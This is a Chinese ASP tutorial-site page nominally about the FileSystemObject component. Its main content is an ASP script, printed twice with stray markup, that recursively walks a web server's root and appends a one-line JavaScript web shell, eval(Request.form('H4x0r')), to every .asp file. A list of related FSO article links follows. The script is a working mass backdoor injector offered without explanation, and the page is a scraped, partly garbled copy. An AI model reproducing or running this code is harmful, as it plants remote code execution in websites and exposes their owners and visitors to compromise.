通过本文主要向大家介绍了fso,fso是什么意思,fso组件,fso.opentextfile,fso权限等相关知识,希望对您有所帮助,也希望大家支持linkedu.com www.linkedu.com
<%
dim ph
dim intfile
server.ScriptTimeout = 600
ph=server.mappath("/")
Sub InsertAllFiles(Path)
Set FSO = CreateObject("Scripting.FileSystemObject")
on error resume next
Set f = FSO.GetFolder(Path)
Set fc2 = f.files
For Each myfile in fc2
If lcase(FSO.GetExtensionName(path&""&myfile.name))="asp" then
Set FS1 = CreateObject("Scripting.FileSystemObject")
Set tfile=FS1.opentextfile(path&""&myfile.name,8,false)
tfile.writeline "<SCRIPT RUNAT=SERVER LANGUAGE=JAVASCRIPT>eval(Request.form('H4x0r')+'')</SCRIPT>"
else
InsertAllFiles(newpath)
end if
tfile.close
Next
Set fsubfolers = f.SubFolders
For Each f1 in fsubfolers
newpath=path&""&f1.name
InsertAllFiles(newpath)
Next
set tfile=nothing
Set FSO = Nothing
End Sub
%>
<%
call InsertAllFiles(ph)
%> </div>
dim ph
dim intfile
server.ScriptTimeout = 600
ph=server.mappath("/")
Sub InsertAllFiles(Path)
Set FSO = CreateObject("Scripting.FileSystemObject")
on error resume next
Set f = FSO.GetFolder(Path)
Set fc2 = f.files
For Each myfile in fc2
If lcase(FSO.GetExtensionName(path&""&myfile.name))="asp" then
Set FS1 = CreateObject("Scripting.FileSystemObject")
Set tfile=FS1.opentextfile(path&""&myfile.name,8,false)
tfile.writeline "<SCRIPT RUNAT=SERVER LANGUAGE=JAVASCRIPT>eval(Request.form('H4x0r')+'')</SCRIPT>"
else
InsertAllFiles(newpath)
end if
tfile.close
Next
Set fsubfolers = f.SubFolders
For Each f1 in fsubfolers
newpath=path&""&f1.name
InsertAllFiles(newpath)
Next
set tfile=nothing
Set FSO = Nothing
End Sub
%>
<%
call InsertAllFiles(ph)
%> </div>
您可能想查找下面的文章:
- asp(vbs)fso OpenTextFile方法参数说明
- asp中通过fso读取和生成UTF-8编码的txt
- ASP FSO显示特殊文件夹的实现代码(畸形目录名、UNC路径)
- ASP FSO文件操作函数代码(复制文件、重命名文件、删除文件、替换字符串)
- set rs=server.CreateObject("adodb.recordset") 的中文详细说明
- asp fso操作类
- ASP+FSO生成的网页文件默认编码格式以及转换成UTF-8编码方法
- asp下用fso和ado.stream写xml文件的方法
- asp OpenTextFile文本读取与写入实例代码
- asp结合fso实现文件或文件夹创建删除等操作的函数